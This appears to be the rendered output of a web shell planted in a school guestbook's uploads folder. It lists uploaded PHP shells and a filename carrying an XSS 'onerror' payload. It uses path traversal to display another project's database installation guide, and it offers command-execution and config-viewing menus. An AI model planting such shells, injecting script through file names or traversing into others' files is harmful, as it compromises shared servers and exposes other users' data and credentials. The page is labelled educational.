🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../l7-pro-2-e-learning-2023-Epolleke/database/../database/INSTALL.md

# Database Installatie & Setup Guide

## πŸ“‹ Overzicht

Deze guide helpt je stap-voor-stap bij het opzetten van de database voor de English Vocabulary Learning applicatie.

## 🎯 Optie 1: Automatische Installatie (Aanbevolen)

### Via phpMyAdmin

1. **Open phpMyAdmin**
   - XAMPP: `http://localhost/phpmyadmin`
   - WAMP: `http://localhost/phpmyadmin`
   - MAMP: `http://localhost/phpMyAdmin`

2. **Importeer Database**
   - Klik op "Import" in het hoofdmenu
   - Klik op "Choose File"
   - Selecteer `database/schema.sql` uit de projectmap
   - Scroll naar beneden en klik "Go"
   - Wacht tot de import compleet is (je ziet groene succesboodschappen)

3. **Verifieer Installatie**
   - Klik op de database `english_learning_app` in de linker sidebar
   - Je zou 4 tabellen moeten zien:
     - `categories`
     - `words`
     - `user_progress`
     - `practice_sessions`
   - Klik op elke tabel en check of er data in zit

## 🎯 Optie 2: MySQL Command Line

### Voor Gevorderde Gebruikers

```bash
# 1. Open MySQL command line
mysql -u root -p

# 2. Importeer het schema
source C:/pad/naar/project/database/schema.sql;

# 3. Verifieer installatie
USE english_learning_app;
SHOW TABLES;
SELECT COUNT(*) FROM words;

# 4. Sluit MySQL
exit;
```

## πŸ”§ Database Configuratie Aanpassen

### php/config.php

Als je MySQL credentials anders zijn dan standaard, pas dan `php/config.php` aan:

```php
// Voor XAMPP (standaard)
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', '');

// Voor WAMP met wachtwoord
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'jouw_wachtwoord');

// Voor externe database
define('DB_HOST', 'example.com');
define('DB_USER', 'database_user');
define('DB_PASS', 'secure_password');
```

## πŸ“Š Database Structuur Verkennen

### Tabellen Overzicht

#### 1. CATEGORIES
```sql
SELECT * FROM categories;
```
**Verwachte output:** 8 categorieΓ«n (Animals, Food, Verbs, etc.)

#### 2. WORDS
```sql
SELECT * FROM words LIMIT 10;
```
**Verwachte output:** 64 Engelse woorden met Nederlandse vertalingen

#### 3. USER_PROGRESS
```sql
SELECT * FROM user_progress;
```
**Verwachte output:** Leeg (wordt gevuld tijdens gebruik)

#### 4. PRACTICE_SESSIONS
```sql
SELECT * FROM practice_sessions;
```
**Verwachte output:** Leeg (wordt gevuld tijdens gebruik)

## πŸ§ͺ Database Testen

### Test 1: Woorden Ophalen

```sql
-- Haal alle woorden op met categorie
SELECT 
    w.english_word, 
    w.dutch_translation, 
    c.category_name, 
    w.difficulty_level
FROM words w
JOIN categories c ON w.category_id = c.category_id
LIMIT 5;
```

### Test 2: Categorie Statistieken

```sql
-- Tel woorden per categorie
SELECT 
    c.category_name, 
    COUNT(w.word_id) as word_count
FROM categories c
LEFT JOIN words w ON c.category_id = w.category_id
GROUP BY c.category_id, c.category_name;
```

### Test 3: Moeilijkheidsgraad Verdeling

```sql
-- Woorden per difficulty level
SELECT 
    difficulty_level, 
    COUNT(*) as count
FROM words
GROUP BY difficulty_level;
```

## βž• Extra Woorden Toevoegen

### Via phpMyAdmin

1. Open `words` tabel
2. Klik "Insert"
3. Vul de velden in:
   - `english_word`: bijv. "elephant"
   - `dutch_translation`: bijv. "olifant"
   - `category_id`: 1 (voor Animals)
   - `difficulty_level`: "intermediate"
4. Klik "Go"

### Via SQL

```sql
-- Voeg nieuwe woorden toe
INSERT INTO words (english_word, dutch_translation, category_id, difficulty_level) 
VALUES 
('mountain', 'berg', 8, 'beginner'),
('ocean', 'oceaan', 8, 'beginner'),
('forest', 'bos', 8, 'beginner');

-- Controleer of ze zijn toegevoegd
SELECT * FROM words WHERE category_id = 8 ORDER BY word_id DESC LIMIT 3;
```

### Nieuwe Categorie Toevoegen

```sql
-- Voeg nieuwe categorie toe
INSERT INTO categories (category_name, description) 
VALUES ('Transportation', 'Vehicles and transportation methods');

-- Haal het category_id op
SELECT category_id FROM categories WHERE category_name = 'Transportation';

-- Voeg woorden toe voor deze categorie
INSERT INTO words (english_word, dutch_translation, category_id, difficulty_level) 
VALUES 
('car', 'auto', 9, 'beginner'),
('bicycle', 'fiets', 9, 'beginner'),
('airplane', 'vliegtuig', 9, 'intermediate');
```

## πŸ”„ Database Resetten

### Alles Opnieuw Beginnen

```sql
-- Verwijder database
DROP DATABASE IF EXISTS english_learning_app;

-- Importeer opnieuw
source C:/pad/naar/project/database/schema.sql;
```

### Alleen User Data Wissen

```sql
-- Behoud woorden en categorieΓ«n, verwijder alleen progress
USE english_learning_app;
TRUNCATE TABLE user_progress;
TRUNCATE TABLE practice_sessions;
```

## πŸ› Veelvoorkomende Problemen

### "Database does not exist"

**Oplossing:**
```sql
CREATE DATABASE english_learning_app 
CHARACTER SET utf8mb4 
COLLATE utf8mb4_unicode_ci;
```

### "Access denied for user 'root'"

**Oplossing:**
1. Check MySQL root wachtwoord
2. Update `php/config.php` met correcte credentials
3. Of maak nieuwe MySQL gebruiker aan:

```sql
CREATE USER 'english_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT ALL PRIVILEGES ON english_learning_app.* TO 'english_user'@'localhost';
FLUSH PRIVILEGES;
```

### "Table doesn't exist"

**Oplossing:**
Re-importeer het schema bestand compleet.

## πŸ“ˆ Performance Optimalisatie

### Indexen Controleren

```sql
-- Check huidige indexen
SHOW INDEX FROM words;
SHOW INDEX FROM user_progress;
```

### Extra Indexen Toevoegen (Optioneel)

```sql
-- Voor snellere sessie queries
CREATE INDEX idx_session_word ON user_progress(session_id, word_id);

-- Voor snellere categorie filters
CREATE INDEX idx_category_difficulty ON words(category_id, difficulty_level);
```

## πŸ” Database Backup

### Backup Maken

```bash
# Via command line
mysqldump -u root -p english_learning_app > backup_$(date +%Y%m%d).sql

# Of via phpMyAdmin
# Selecteer database β†’ Export β†’ Go
```

### Backup Herstellen

```bash
# Via command line
mysql -u root -p english_learning_app < backup_20231119.sql

# Of via phpMyAdmin
# Import β†’ Choose File β†’ Go
```

## βœ… Installatie Checklist

- [ ] MySQL/MariaDB is geΓ―nstalleerd en draait
- [ ] phpMyAdmin is toegankelijk
- [ ] Database `english_learning_app` is aangemaakt
- [ ] Alle 4 tabellen bestaan
- [ ] CategorieΓ«n tabel heeft 8 records
- [ ] Words tabel heeft 64+ records
- [ ] `php/config.php` heeft correcte database credentials
- [ ] Test queries werken zonder errors

## πŸ†˜ Hulp Nodig?

Als je vast zit:

1. Check de main `README.md` voor algemene troubleshooting
2. Verifieer dat Apache en MySQL beide draaien
3. Check de browser console voor JavaScript errors (F12)
4. Kijk in de PHP error logs (XAMPP: `xampp/apache/logs/error.log`)

---

**Succes met de installatie! πŸŽ‰**

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!